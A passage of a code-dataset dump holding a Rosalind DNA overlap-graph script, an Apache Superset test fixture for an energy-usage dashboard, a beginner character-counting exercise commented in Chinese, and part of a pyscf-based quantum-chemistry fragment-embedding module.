re.findall(r'>Rosalind_\\d{4}\\n[AGCT\\n]+',FASTA_strings)\nDNA_name_list = []\nDNA_string_list = []\nDNA_dict = {}\nfor match in matches:\n match = match.strip('>')\n match = match.split('\\n')\n match[1] = match[1] + match[2]\n DNA_name_list.append(match[0])\n DNA_string_list.append(match[1])\n DNA_dict[match[0]] = match[1]\n# for i,(k,v) in enumerate(DNA_dict.items()):\n# print(i,k,v)\n# DNA_list = zip(DNA_dict.items())\n# print(DNA_list)\n# for item in DNA_list:\n# print(item[0])\ni = 0\ncounter = 0\nwhile i < len(DNA_string_list):\n for item in DNA_string_list:\n if item[0:3] == DNA_string_list[i][-3:]:\n #print('first',DNA_string_list.index(item),item)\n #print('last',DNA_string_list.index(DNA_string_list[i]),DNA_string_list[i])\n print(DNA_name_list[DNA_string_list.index(DNA_string_list[i])],end=' ')\n print(DNA_name_list[DNA_string_list.index(item)])\n counter+=1\n i+=1\n\ndef is_k_overlap(s1, s2, k=3):\n return s1[-k:] == s2[:k]\n\nimport itertools\ndef k_edges(data, k):\n edges = []\n for u,v in itertools.combinations(data, 2):\n u_dna, v_dna = data[u], data[v]\n\n if is_k_overlap(u_dna, v_dna, k):\n edges.append((u,v))\n\n if is_k_overlap(v_dna, u_dna, k):\n edges.append((v,u))\n\n return edges\nprint('\\n\\n')\nz = k_edges(DNA_dict,3)\nfor i in z:\n print(i[0],i[1])\nprint(len(z))\nprint(counter)","repo_name":"Nivram3/Rosalind","sub_path":"Bioinformatics_Stronghold/Overlap Graphs.py","file_name":"Overlap Graphs.py","file_ext":"py","file_size_in_byte":2655,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"25168698765","text":"import random\n\nimport pandas as pd\nimport pytest\nfrom sqlalchemy import column, Float, String\n\nfrom superset import db\nfrom superset.connectors.sqla.models import SqlaTable, SqlMetric\nfrom superset.models.slice import Slice\nfrom superset.utils.core import get_example_default_schema\nfrom superset.utils.database import get_example_database\nfrom tests.integration_tests.dashboard_utils import create_slice, create_table_metadata\nfrom tests.integration_tests.test_app import app\n\nmisc_dash_slices: set[str] = set()\n\n\nENERGY_USAGE_TBL_NAME = \"energy_usage\"\n\n\n@pytest.fixture(scope=\"session\")\ndef load_energy_table_data():\n with app.app_context():\n database = get_example_database()\n with database.get_sqla_engine_with_context() as engine:\n df = _get_dataframe()\n df.to_sql(\n ENERGY_USAGE_TBL_NAME,\n engine,\n if_exists=\"replace\",\n chunksize=500,\n index=False,\n dtype={\"source\": String(255), \"target\": String(255), \"value\": Float()},\n method=\"multi\",\n schema=get_example_default_schema(),\n )\n yield\n with app.app_context():\n with get_example_database().get_sqla_engine_with_context() as engine:\n engine.execute(\"DROP TABLE IF EXISTS energy_usage\")\n\n\n@pytest.fixture()\ndef load_energy_table_with_slice(load_energy_table_data):\n with app.app_context():\n slices = _create_energy_table()\n yield slices\n _cleanup()\n\n\ndef _get_dataframe():\n data = _get_energy_data()\n return pd.DataFrame.from_dict(data)\n\n\ndef _create_energy_table() -> list[Slice]:\n table = create_table_metadata(\n table_name=ENERGY_USAGE_TBL_NAME,\n database=get_example_database(),\n table_description=\"Energy consumption\",\n )\n table.fetch_metadata()\n\n if not any(col.metric_name == \"sum__value\" for col in table.metrics):\n col = str(column(\"value\").compile(db.engine))\n table.metrics.append(\n SqlMetric(metric_name=\"sum__value\", expression=f\"SUM({col})\")\n )\n table.fetch_metadata()\n\n slices = []\n for slice_data in _get_energy_slices():\n slice = _create_and_commit_energy_slice(\n table,\n slice_data[\"slice_title\"],\n slice_data[\"viz_type\"],\n slice_data[\"params\"],\n )\n slices.append(slice)\n return slices\n\n\ndef _create_and_commit_energy_slice(\n table: SqlaTable, title: str, viz_type: str, param: dict[str, str]\n):\n slice = create_slice(title, viz_type, table, param)\n existing_slice = (\n db.session.query(Slice).filter_by(slice_name=slice.slice_name).first()\n )\n if existing_slice:\n db.session.delete(existing_slice)\n db.session.add(slice)\n db.session.commit()\n return slice\n\n\ndef _cleanup() -> None:\n for slice_data in _get_energy_slices():\n slice = (\n db.session.query(Slice)\n .filter_by(slice_name=slice_data[\"slice_title\"])\n .first()\n )\n db.session.delete(slice)\n\n metric = (\n db.session.query(SqlMetric).filter_by(metric_name=\"sum__value\").one_or_none()\n )\n if metric:\n db.session.delete(metric)\n\n db.session.commit()\n\n\ndef _get_energy_data():\n data = []\n for i in range(85):\n data.append(\n {\n \"source\": f\"energy_source{i}\",\n \"target\": f\"energy_target{i}\",\n \"value\": random.uniform(0.1, 11.0),\n }\n )\n return data\n\n\ndef _get_energy_slices():\n return [\n {\n \"slice_title\": \"Energy Sankey\",\n \"viz_type\": \"sankey\",\n \"params\": {\n \"collapsed_fieldsets\": \"\",\n \"groupby\": [\"source\", \"target\"],\n \"metric\": \"sum__value\",\n \"row_limit\": \"5000\",\n \"slice_name\": \"Energy Sankey\",\n \"viz_type\": \"sankey\",\n },\n },\n {\n \"slice_title\": \"Energy Force Layout\",\n \"viz_type\": \"graph_chart\",\n \"params\": {\n \"source\": \"source\",\n \"target\": \"target\",\n \"edgeLength\": 400,\n \"repulsion\": 1000,\n \"layout\": \"force\",\n \"metric\": \"sum__value\",\n \"row_limit\": \"5000\",\n \"slice_name\": \"Force\",\n \"viz_type\": \"graph_chart\",\n },\n },\n {\n \"slice_title\": \"Heatmap\",\n \"viz_type\": \"heatmap\",\n \"params\": {\n \"all_columns_x\": \"source\",\n \"all_columns_y\": \"target\",\n \"canvas_image_rendering\": \"pixelated\",\n \"collapsed_fieldsets\": \"\",\n \"linear_color_scheme\": \"blue_white_yellow\",\n \"metric\": \"sum__value\",\n \"normalize_across\": \"heatmap\",\n \"slice_name\": \"Heatmap\",\n \"viz_type\": \"heatmap\",\n \"xscale_interval\": \"1\",\n \"yscale_interval\": \"1\",\n },\n \"query_context\": '{\"datasource\":{\"id\":12,\"type\":\"table\"},\"force\":false,\"queries\":[{\"time_range\":\" : \",\"filters\":[],\"extras\":{\"time_grain_sqla\":null,\"having\":\"\",\"where\":\"\"},\"applied_time_extras\":{},\"columns\":[],\"metrics\":[],\"annotation_layers\":[],\"row_limit\":5000,\"timeseries_limit\":0,\"order_desc\":true,\"url_params\":{},\"custom_params\":{},\"custom_form_data\":{}}],\"result_format\":\"json\",\"result_type\":\"full\"}',\n },\n ]\n","repo_name":"apache/superset","sub_path":"tests/integration_tests/fixtures/energy_dashboard.py","file_name":"energy_dashboard.py","file_ext":"py","file_size_in_byte":5519,"program_lang":"python","lang":"en","doc_type":"code","stars":55269,"dataset":"github-code","pt":"61"} +{"seq_id":"43245200170","text":"\"\"\"\n题目:输入一行字符,分别统计出其中英文字母、空格、数字和其它字符的个数。\n\"\"\"\n\nimport string\ns=input(\"请输入字符串:\")\nletter=0\nspace=0\ndigit=0\nother=0\nfor c in s:\n if c.isalpha():\n letter+=1\n elif c.isspace():\n space+=1\n elif c.isdigit():\n digit+=1\n else:\n other+=1\nprint('字母有%d个,数字有%d个,空格有%d个,其他有%d个' %(letter,digit,space,other))\n","repo_name":"Yue-wei-Ma/Python-practice100","sub_path":"17_输入一行字符,分别统计出其中英文字母、空格、数字和其它字符的个数.py","file_name":"17_输入一行字符,分别统计出其中英文字母、空格、数字和其它字符的个数.py","file_ext":"py","file_size_in_byte":454,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"29941514714","text":"import numpy as np\nfrom scipy.optimize import newton\n\ndef GetFock(h, V):\n\tJ = np.einsum('iijj->ij', V)\n\tK = np.einsum('ijij->ij', V)\n\tF = h + 2.0 * J - K\n\treturn F\n\ndef GetG(F):\n\te, v = np.linalg.eigh(F)\n\treturn e\n\ndef PermuteABBB(V, AIndex, BIndex):\n\tVABBB = V[np.ix_(AIndex, BIndex, BIndex, BIndex)]\n\tV[np.ix_(BIndex, AIndex, BIndex, BIndex)] = VABBB\n\tV[np.ix_(BIndex, BIndex, AIndex, BIndex)] = VABBB\n\tV[np.ix_(BIndex, BIndex, BIndex, AIndex)] = VABBB\n\ndef PermuteABAB(V, AIndex, BIndex):\n\tVABAB = V[np.ix_(AIndex, BIndex, AIndex, BIndex)]\n\tV[np.ix_(BIndex, AIndex, BIndex, AIndex)] = VABAB\n\tV[np.ix_(BIndex, AIndex, AIndex, BIndex)] = VABAB\n\tV[np.ix_(AIndex, BIndex, BIndex, AIndex)] = VABAB\n\ndef PermuteAABB(V, AIndex, BIndex):\n\tVAABB = V[np.ix_(AIndex, AIndex, BIndex, BIndex)]\n\tV[np.ix_(BIndex, BIndex, AIndex, AIndex)] = VAABB\n\ndef make_rhf_rdm2(P):\n\tn = P.shape[0]\n\tG = np.zeros((n, n, n, n))\n\tfor i in range(n):\n\t\tfor j in range(n):\n\t\t\tG[i, j] = (2.0 * P[i, j] * P - np.outer(P[i], P[j]))[:n, :n]\n\t\t\tG[i, j][np.diag_indices(n)] *= 0.5\n\t\t\tG[i, j] += G[i, j].T\n\treturn G\n\ndef CalcFragEnergy(h, hcore, V, P, G, CenterIndices):\n\tFragE = 0.0\n\tn = h.shape[0]\n\tE1 = 0.0\n\tE2 = 0.0\n\tfor i in CenterIndices:\n\t\tfor j in range(n):\n\t\t\tFragE += 0.5 * (h[i, j] + hcore[i, j]) * P[i, j]\n\t\t\tE1 += 0.5 * (h[i, j] + hcore[i, j]) * P[i, j]\n\t\t\tfor k in range(n):\n\t\t\t\tfor l in range(n):\n\t\t\t\t\tFragE += 0.5 * G[i, j, k, l] * V[i, j, k, l]\n\t\t\t\t\tE2 += 0.5 * G[i, j, k, l] * V[i, j, k, l]\n\treturn FragE\n\n\ndef FragmentRFCI(h, hcore, V, CenterIndices, S = None):\n\tfrom pyscf import fci\n\tn = hcore.shape[0]\n\tnocc = int(n/2)\n\tcisolver = fci.direct_spin0.FCI()\n\tcisolver.verbose = 5\n\te, fcivec = cisolver.kernel(hcore, V, hcore.shape[0], (nocc, nocc))\n\tP, G = cisolver.make_rdm12(fcivec, n, (nocc, nocc))\n\tFragE = CalcFragEnergy(h, hcore, V, P, G, CenterIndices)\n\treturn FragE\n\ndef FragmentRMP2(h, hcore, V, CenterIndices, S = None):\n\tif S is None:\n\t\tS = np.eye(h.shape[0])\n\tmol = gto.M()\n\tn = h.shape[0]\n\tmol.nelectron = n\n\n\tmf = scf.RHF(mol)\n\tmf.get_hcore = lambda *args: hcore\n\tmf.get_ovlp = lambda *args: S\n\tmf._eri = ao2mo.restore(8, V, n)\n\tmf.max_cycle = 1000\n\n\tmf.kernel()\n\tC = mf.mo_coeff\n\t\n\tmp2 = mp.MP2(mf)\n\tE, T2 = mp2.kernel()\n\tP = mp2.make_rdm1()\n\tP = C @ P @ C.T\n\tG = mp2.make_rdm2()\n\tG = np.einsum('ijkl,ip,jq,kr,ls->pqrs', G, C, C, C, C)\n\tFragE = CalcFragEnergy(h, hcore, V, P, G, CenterIndices)\n\treturn FragE\n\n\ndef FragmentRHF(hEff, VEff, FIndices, ReturnMO = False):\n\tmol = gto.M()\n\tnElec = hEff.shape[0] # Half occupied fragment\n\tmol.nelectron = nElec\n\n\tmf = scf.RHF(mol)\n\tmf.get_hcore = lambda *args: hEff\n\tmf.get_ovlp = lambda *args: np.eye(nElec)\n\tmf._eri = ao2mo.restore(8, VEff, nElec)\n\tmf.max_cycle = 1000\n\n\t#from frankenstein.sgscf.sgopt import doRCA\n\tmf.kernel()\n\t#try:\n\t#\tmf.kernel()\n\t#except:\n\t#\tmf.diis = False\n\t#\tmf.kernel()\n\t#try:\n\t#\tassert(mf.converged)\n\t#except:\n\t#\tprint(\"DIIS did not converge, trying RCA\")\n\t#\te, P = doRCA(mf, rca_space = 2)\n\t#\tmf.kernel(P)\n\n\tVMOEff = np.einsum('ijkl,ip,jq,kr,ls->pqrs', VEff, mf.mo_coeff, mf.mo_coeff, mf.mo_coeff, mf.mo_coeff)\n\tTFrag = mf.mo_coeff.T[:, FIndices]\n\tif ReturnMO:\n\t\treturn VMOEff, mf.mo_energy, TFrag, mf.mo_coeff\n\treturn VMOEff, mf.mo_energy, TFrag\n\n# Takes VEff in the fragment MO basis, and assumes half filling. Returns a four index array where the first two indices\n# are the occupied orbitals and the last two indices are the virtual orbitals\ndef MaketEff(VEff, g):\n\tnOcc = int(g.shape[0] / 2)\n\tn = g.shape[0]\n\ttEff = np.zeros((nOcc, nOcc, n - nOcc, n - nOcc))\n\tfor i in range(nOcc):\n\t\tfor j in range(nOcc):\n\t\t\tfor a in range(n - nOcc):\n\t\t\t\tfor b in range(n - nOcc):\n\t\t\t\t\ttEff[i, j, a, b] = (2.0 * VEff[i, nOcc + a, j, nOcc + b] - VEff[i, nOcc + b, j, nOcc + a]) / (g[i] + g[j] - g[nOcc + a] - g[nOcc + b])\n\treturn tEff\n\t\ndef ERIToVector(V):\n\tn = V.shape[0]\n\t#hVec = h.reshape(n * n)\n\tVVec = V.reshape(n * n * n * n)\n\t#ERIVec = np.vstack((hVec, VVec))\n\treturn VVec\n\ndef VectorToERI(VVec):\n\t#n2 = int(n * n)\n\t#hVec = ERIVec[:n2]\n\t#VVec = ERIVec[n2:]\n\t#h = hVec.reshape(n, n)\n\tn = int(VVec.shape[0]**0.25)\n\tV = VVec.reshape(n, n, n, n)\n\treturn V\n\n# Assumes Vector is fed in the order of BFFF, FBFB, FFBB, FBBB\ndef VectorToVSymm(VVec, FIndices, BIndices):\n\tnFB = 2 * len(FIndices)\n\tnVec1 = int(VVec.shape[0] / 4)\n\tnVec2 = 2 * nVec1\n\tnVec3 = 3 * nVec1\n\tVBFFF = VectorToERI(VVec[:nVec1])\n\tVFBFB = VectorToERI(VVec[nVec1:nVec2])\n\tVFFBB = VectorToERI(VVec[nVec2:nVec3])\n\tVFBBB = VectorToERI(VVec[nVec3:])\n\tV = np.zeros((nFB, nFB, nFB, nFB))\n\tV[np.ix_(BIndices, FIndices, FIndices, FIndices)] = VBFFF\n\tV[np.ix_(FIndices, BIndices, FIndices, BIndices)] = VFBFB\n\tV[np.ix_(FIndices, FIndices, BIndices, BIndices)] = VFFBB\n\tV[np.ix_(FIndices, BIndices, BIndices, BIndices)] = VFBBB\n\tPermuteABBB(V, BIndices, FIndices)\n\tPermuteABAB(V, FIndices, BIndices)\n\tPermuteAABB(V, FIndices, BIndices)\n\tPermuteABBB(V, FIndices, BIndices)\n\treturn V\n\ndef dbgA(T, g, nOcc, nVir, SIndices):\n\tnFB = len(SIndices)\n\tTOcc = T[:nOcc, :]\n\tTVir = T[nOcc:, :]\n\tgTensor = np.zeros((nOcc, nOcc, nVir, nVir))\n\tfor i in range(nOcc):\n\t\tfor j in range(nOcc):\n\t\t\tfor a in range(nVir):\n\t\t\t\tfor b in range(nVir):\n\t\t\t\t\tgTensor[i, j, a, b] = 1.0 / (g[i] + g[j] - g[nOcc + a] - g[nOcc + b])\n\tA = np.zeros((nOcc, nOcc, nVir, nVir, nFB, nFB, nFB, nFB, nFB, nFB, nFB, nFB))\n\tfor i in range(nOcc):\n\t\tfor j in range(nOcc):\n\t\t\tfor a in range(nVir):\n\t\t\t\tfor b in range(nVir):\n\t\t\t\t\tfor p in range(nFB):\n\t\t\t\t\t\tfor q in range(nFB):\n\t\t\t\t\t\t\tfor r in range(nFB):\n\t\t\t\t\t\t\t\tfor s in range(nFB):\n\t\t\t\t\t\t\t\t\tfor t in range(nFB):\n\t\t\t\t\t\t\t\t\t\tfor u in range(nFB):\n\t\t\t\t\t\t\t\t\t\t\tfor v in range(nFB):\n\t\t\t\t\t\t\t\t\t\t\t\tfor w in range(nFB):\n\t\t\t\t\t\t\t\t\t\t\t\t\ttmp1 = np.einsum('cp,dq,cv,dw,ijcd->ijpqvw', TVir, TVir, TVir, TVir, gTensor)\n\t\t\t\t\t\t\t\t\t\t\t\t\ttmp2 = np.einsum('cp,dq,dv,cw,ijcd->ijpqvw', TVir, TVir, TVir, TVir, gTensor)\n\t\t\t\t\t\t\t\t\t\t\t\t\tA[i, j, a, b, p, q, r, s, t, u, v, w] = 2.0 * tmp1[i, j, p, q, v, w] * TVir[a, r] * TVir[b, s] * TOcc[i, t] * TOcc[j, u] - tmp2[i, j, p, q, v, w] * TVir[a, r] * TVir[b, s] * TOcc[i, t] * TOcc[j, u]\n\tprint(A)\n\tinput()\n\treturn\n\ndef MakeLossVector(Losses):\n\tLossesVec = np.zeros(0)\n\tfor Loss in Losses:\n\t\tn1 = Loss.shape[0]\n\t\tn2 = Loss.shape[2]\n\t\tDim = n1 * n1 * n2 * n2\n\t\tLossVec = np.zeros(Dim)\n\t\tfor i in range(Loss.shape[0]):\n\t\t\tfor j in range(Loss.shape[1]):\n\t\t\t\tfor k in range(Loss.shape[2]):\n\t\t\t\t\tfor l in range(Loss.shape[3]):\n\t\t\t\t\t\tLossVec[i + j * Loss.shape[0] + k * Loss.shape[0] * Loss.shape[1] + l * Loss.shape[0] * Loss.shape[1] * Loss.shape[3]] = Loss[i, j, k, l]\n\t\tLossesVec = np.concatenate((LossesVec, LossVec))\n\treturn LossesVec\n\n# Antisymmetrizes TEI in chemists notation\ndef AntiSymV(V):\n\tV2 = np.swapaxes(V, 1, 3)\n\treturn 2.0 * V - V2\n\t\t\t\ndef TwoConditionsOOVV(VMO_VVVV, tMO, TFragOcc, TFragVir):\n\tVMO = AntiSymV(VMO_VVVV)\n\tCondMO = np.einsum('acbd,ijcd->ijab', VMO, tMO)\n\tCond = np.einsum('ijab,ip,jq,ar,bs->prqs', CondMO, TFragOcc, TFragOcc, TFragVir, TFragVir)\n\treturn Cond\n\ndef TwoConditionsOOOO(VMO_OVOV, tMO, TFragOcc):\n\tVMO = AntiSymV(VMO_OVOV)\n\tCondMO = np.einsum('kcld,ijcd->ijkl', VMO, tMO)\n\tCond = np.einsum('ijkl,ip,jq,kr,ls->prqs', CondMO, TFragOcc, TFragOcc, TFragOcc, TFragOcc)\n\treturn Cond\n\ndef TwoConditionsVVVV(VMO_OVOV, tMO, TFragVir):\n\tVMO = AntiSymV(VMO_OVOV)\n\tCondMO = np.einsum('kcld,klab->abcd', VMO, tMO)\n\tCond = np.einsum('abcd,ap,bq,cr,ds->prqs', CondMO, TFragVir, TFragVir, TFragVir, TFragVir)\n\treturn Cond\n\ndef TwoConditionsOOVVMix(VMO_OVOV, tMO, TFragOcc, TFragVir):\n\tVMO = AntiSymV(VMO_OVOV)\n\tCondMO = np.einsum('iakc,kjcb->ijab', VMO, tMO)\n\tCond = np.einsum('ijab,ip,jq,ar,bs->prqs', CondMO, TFragOcc, TFragOcc, TFragVir, TFragVir)\n\treturn Cond\n\ndef TwoConditionsVVVV1e(VMO_VVVV, tMO, TFragOcc, TFragVir):\n\tVMO = AntiSymV(VMO_VVVV)\n\tCondMO = np.einsum('abcd,ijcd->ijab', VMO, tMO)\n\tCond = np.einsum('ijab,ip,jq,ar,bs->prqs', CondMO, TFragOcc, TFragOcc, TFragVir, TFragVir)\n\treturn Cond\n\ndef TwoConditionsOOOO2e(VMO_OOOO, tMO, TFragOcc, TFragVir):\n\tVMO = AntiSymV(VMO_OOOO)\n\tCondMO = np.einsum('ikjl,klab->ijab', VMO, tMO)\n\tCond = np.einsum('ijab,ip,jq,ar,bs->prqs', CondMO, TFragOcc, TFragOcc, TFragVir, TFragVir)\n\treturn Cond\n\ndef TwoConditionsOOOO1e(VMO_OOOO, tMO, TFragOcc, TFragVir):\n\tVMO = AntiSymV(VMO_OOOO)\n\tCondMO = np.einsum('ijkl,klab->ijab', VMO, tMO)\n\tCond = np.einsum('ijab,ip,jq,ar,bs->prqs', CondMO, TFragOcc, TFragOcc, TFragVir, TFragVir)\n\treturn Cond\n\ndef TwoConditionsOOOV2e(VMO_OOOV, tMO, TFragOcc, TFragVir):\n\tVMO = AntiSymV(VMO_OOOV)\n\tCondMO = np.einsum('kila,klbc->iabc', VMO, tMO)\n\tCond = np.einsum('iabc,ip,aq,br,cs->prqs', CondMO, TFragOcc, TFragVir, TFragVir, TFragVir)\n\treturn Cond\n\ndef TwoConditionsOVVV2e(VMO_OVVV, tMO, TFragOcc, TFragVir):\n\tVMO = AntiSymV(VMO_OVVV)\n\tCondMO = np.einsum('icad,jkcd->ijka', VMO, tMO)\n\tCond = np.einsum('ijka,ip,jq,kr,as->prqs', CondMO, TFragOcc, TFragOcc, TFragOcc, TFragVir)\n\treturn Cond\n\ndef TwoConditionsMP3VVVV(VMO_VVVV, tMO, TFragOcc):\n\tVMO = AntiSymV(VMO_VVVV)\n\tCondMO = np.einsum('acbd,ijab,klcd->ijkl', VMO, tMO, tMO)\n\tCond = np.einsum('ijkl,ip,jq,kr,ls->pqrs', CondMO, TFragOcc, TFragOcc, TFragOcc, TFragOcc)\n\treturn Cond\n\ndef TwoConditionsMP3OOOO(VMO_OOOO, tMO, TFragVir):\n\tVMO = AntiSymV(VMO_OOOO)\n\tCondMO = np.einsum('ikjl,ijab,klcd->abcd', VMO, tMO, tMO)\n\tCond = np.einsum('abcd,ap,bq,cr,ds->pqrs', CondMO, TFragVir, TFragVir, TFragVir, TFragVir)\n\treturn Cond\n\ndef TwoConditionsMP3OOVV(VMO_OOVV, tMO, TFragOcc, TFragVir):\n\tVMO = AntiSymV(VMO_OOVV)\n\tCondMO = np.einsum('klcd,ikac,jlbd->ijab', VMO, tMO, tMO)\n\tCond = np.einsum('ijab,ip,jq,ar,bs->pqrs', CondMO, TFragOcc, TFragOcc, TFragVir, TFragVir)\n\treturn Cond\n\ndef OneConditionsOO(VSO_OOVV, tSO, SIndices):\n\tCond = np.einsum('ikcd,jkcd->ij', VSO_OOVV, tSO)\n\tCondS = Cond[SIndices, :][:, SIndices]\n\treturn CondS\n\ndef OneConditionsVV(VSO_OOVV, tSO, SIndices):\n\tCond = np.einsum('klad,klbd->ab', VSO_OOVV, tSO)\n\tCondS = Cond[SIndices, :][:, SIndices]\n\treturn CondS\n\ndef ERIEffectiveToFragMO(hEff, VEff, FIndices, g = None):\n\tif g is None:\n\t\tVMOEff, g, TFrag = FragmentRHF(hEff, VEff, FIndices)\n\telse:\n\t\tVMOEff, gTMP, TFrag = FragmentRHF(hEff, VEff, FIndices)\n\ttEff = MaketEff(VMOEff, g)\n\t#nOcc = tEff.shape[0]\n\t#nVir = tEff.shape[2]\n\t#VMOEff_VVVV = VMOEff[nOcc:, nOcc:, nOcc:, nOcc:]\n\t#Unkn = TwoConditionsOOVV(VMOEff_VVVV, tEff, TFrag)\n\treturn VMOEff, tEff, TFrag\n\n# Contains variables required for Loss calculation that only need to be calculated once\ndef GetConditions(VEff, hEff, VMO, tMO, TFragOcc, TFragVir, FIndices):\n\tnOcc = tMO.shape[0]\n\tnVir = tMO.shape[2]\n\tVMO_VVVV = VMO[nOcc:, nOcc:, nOcc:, nOcc:]\n\tVMO_OVOV = VMO[:nOcc, nOcc:, :nOcc, nOcc:]\n\tVMO_OOOO = VMO[:nOcc, :nOcc, :nOcc, :nOcc]\n\tVMO_OOOV = VMO[:nOcc, :nOcc, :nOcc, nOcc:]\n\tVMO_OVVV = VMO[:nOcc, nOcc:, nOcc:, nOcc:]\n\tVMO_OOVV = VMO[:nOcc, :nOcc, nOcc:, nOcc:]\n\t\n\t# These give the FF block of the conditions\n\tCondOOVV = TwoConditionsOOVV(VMO_VVVV, tMO, TFragOcc, TFragVir)\n\tCondOOOO = TwoConditionsOOOO(VMO_OVOV, tMO, TFragOcc)\n\tCondVVVV = TwoConditionsVVVV(VMO_OVOV, tMO, TFragVir)\n\tCondOOVVMix = TwoConditionsOOVVMix(VMO_OVOV, tMO, TFragOcc, TFragVir)\n\tCondVVVV1e = TwoConditionsVVVV1e(VMO_VVVV, tMO, TFragOcc, TFragVir)\n\tCondOOOO2e = TwoConditionsOOOO2e(VMO_OOOO, tMO, TFragOcc, TFragVir)\n\tCondOOOO1e = TwoConditionsOOOO1e(VMO_OOOO, tMO, TFragOcc, TFragVir)\n\n\tCondOOOV2e = TwoConditionsOOOV2e(VMO_OOOV, tMO, TFragOcc, TFragVir)\n\tCondOVVV2e = TwoConditionsOVVV2e(VMO_OVVV, tMO, TFragOcc, TFragVir)\n\n\tCondMP3VVVV = TwoConditionsMP3VVVV(VMO_VVVV, tMO, TFragOcc)\n\tCondMP3OOOO = TwoConditionsMP3OOOO(VMO_OOOO, tMO, TFragVir)\n\tCondMP3OOVV = TwoConditionsMP3OOVV(VMO_OOVV, tMO, TFragOcc, TFragVir)\n\n\t#return [CondOOVV, CondVVVV1e, CondOOOO2e, CondOOOO1e] \n\t#return [CondOOVV, CondVVVV, CondOOOO2e, CondMP3OOVV]#, CondMP3OOOO, CondMP3OOVV]#, CondOOOO2e, CondOOOO1e]\n\treturn [CondMP3VVVV, CondMP3OOOO, CondMP3OOVV, CondOOOO2e]\n\t#return [CondOOVV, CondOOOO, CondVVVV, CondOOVVMix, CondVVVV1e, CondOOOO2e, CondOOOO1e]\n\ndef LossPacked(VEff, hEff, FIndices, Conds, gAndMO = None):\n\t#nOcc = tMO.shape[0]\n\t#nVir = tMO.shape[2]\n\t#VMO_VVVV = VMO[nOcc:, nOcc:, nOcc:, nOcc:]\n\t##VMO_OOVV = VMO[:nOcc, :nOcc, nOcc:, nOcc:]\n\t#VMO_OVOV = VMO[:nOcc, nOcc:, :nOcc, nOcc:]\n\t\n\t## These give the FF block of the conditions\n\t#CondOOVV = TwoConditionsOOVV(VMO_VVVV, tMO, TFragOcc, TFragVir)\n\t#CondOOOO = TwoConditionsOOOO(VMO_OVOV, tMO, TFragOcc)\n\t#CondVVVV = TwoConditionsVVVV(VMO_OVOV, tMO, TFragVir)\n\t#CondOOVVMix = TwoConditionsOOVVMix(VMO_OVOV, tMO, TFragOcc, TFragVir)\n\t\n\t# These give the unknowns\n\tFixT = True\n\tif gAndMO is None:\n\t\tVMOEff, tEff, TFragEff = ERIEffectiveToFragMO(hEff, VEff, FIndices)\n\telse:\n\t\t# The first part is for fixed T and g. Second part is for fixed g only.\n\t\tif FixT:\n\t\t\tVMOEff = np.einsum('ijkl,ip,jq,kr,ls->pqrs', VEff, gAndMO[1], gAndMO[1], gAndMO[1], gAndMO[1])\n\t\t\tTFragEff = gAndMO[1].T[:, FIndices]\n\t\t\ttEff = MaketEff(VMOEff, gAndMO[0])\n\t\telse:\n\t\t\tVMOEff, tEff, TFragEff = ERIEffectiveToFragMO(hEff, VEff, FIndices, g = gAndMO[0])\n\tnOccEff = tEff.shape[0]\n\tnVirEff = tEff.shape[2]\n\tTFragEffOcc = TFragEff[:nOccEff, :]\n\tTFragEffVir = TFragEff[nOccEff:, :]\n\t#dbgA(gAndMO[1].T, gAndMO[0], nOccEff, nVirEff, [0, 1])\n\tVMOEff_VVVV = VMOEff[nOccEff:, nOccEff:, nOccEff:, nOccEff:]\n\tVMOEff_OVOV = VMOEff[:nOccEff, nOccEff:, :nOccEff, nOccEff:]\n\tVMOEff_OOOO = VMOEff[:nOccEff, :nOccEff, :nOccEff, :nOccEff]\n\tVMOEff_OOOV = VMOEff[:nOccEff, :nOccEff, :nOccEff, nOccEff:]\n\tVMOEff_OVVV = VMOEff[:nOccEff, nOccEff:, nOccEff:, nOccEff:]\n\tVMOEff_OOVV = VMOEff[:nOccEff, :nOccEff, nOccEff:, nOccEff:]\n\n\tUnknOOVV = TwoConditionsOOVV(VMOEff_VVVV, tEff, TFragEffOcc, TFragEffVir)\n\tUnknOOOO = TwoConditionsOOOO(VMOEff_OVOV, tEff, TFragEffOcc)\n\tUnknVVVV = TwoConditionsVVVV(VMOEff_OVOV, tEff, TFragEffVir)\n\tUnknOOVVMix = TwoConditionsOOVVMix(VMOEff_OVOV, tEff, TFragEffOcc, TFragEffVir)\n\tUnknVVVV1e = TwoConditionsVVVV1e(VMOEff_VVVV, tEff, TFragEffOcc, TFragEffVir)\n\tUnknOOOO2e = TwoConditionsOOOO2e(VMOEff_OOOO, tEff, TFragEffOcc, TFragEffVir)\n\tUnknOOOO1e = TwoConditionsOOOO1e(VMOEff_OOOO, tEff, TFragEffOcc, TFragEffVir)\n\n\tUnknOOOV2e = TwoConditionsOOOV2e(VMOEff_OOOV, tEff, TFragEffOcc, TFragEffVir)\n\tUnknOVVV2e = TwoConditionsOVVV2e(VMOEff_OVVV, tEff, TFragEffOcc, TFragEffVir)\n\n\tUnknMP3VVVV = TwoConditionsMP3VVVV(VMOEff_VVVV, tEff, TFragEffOcc)\n\tUnknMP3OOOO = TwoConditionsMP3OOOO(VMOEff_OOOO, tEff, TFragEffVir)\n\tUnknMP3OOVV = TwoConditionsMP3OOVV(VMOEff_OOVV, tEff, TFragEffOcc, TFragEffVir)\n\n\t#print(Conds)\n\t#print(UnknOOVV, UnknOOOO, UnknVVVV, UnknOOVVMix)\n\t#Loss = [UnknOOVV - Conds[0], UnknVVVV1e - Conds[1], UnknOOOO2e - Conds[2], UnknOOOO1e - Conds[3]]\n\t#Loss = [UnknOOVV - Conds[0], UnknVVVV - Conds[1], UnknOOOO2e - Conds[2], UnknMP3OOVV - Conds[3]]# UnknMP3OOOO - Conds[4], UnknMP3OOVV - Conds[5]]#, UnknOOOO2e - Conds[4], UnknOOOO1e - Conds[5]]\n\tLoss = [UnknMP3VVVV - Conds[0], UnknMP3OOOO - Conds[1], UnknMP3OOVV - Conds[2], UnknOOOO2e - Conds[3]]\n\t#Loss = [UnknOOVV - Conds[0], UnknOOOO - Conds[1], UnknVVVV - Conds[2], UnknOOVVMix - Conds[3], UnknVVVV1e - Conds[4], UnknOOOO2e - Conds[5], UnknOOOO1e - Conds[6]]\n\treturn Loss\n\t\ndef Loss(VEffVec, hEff, FIndices, BIndices, VUnmatched, Conds, gAndMO = None):\n\tVEff = VectorToVSymm(VEffVec, FIndices, BIndices)\n\tVEff[np.ix_(FIndices, 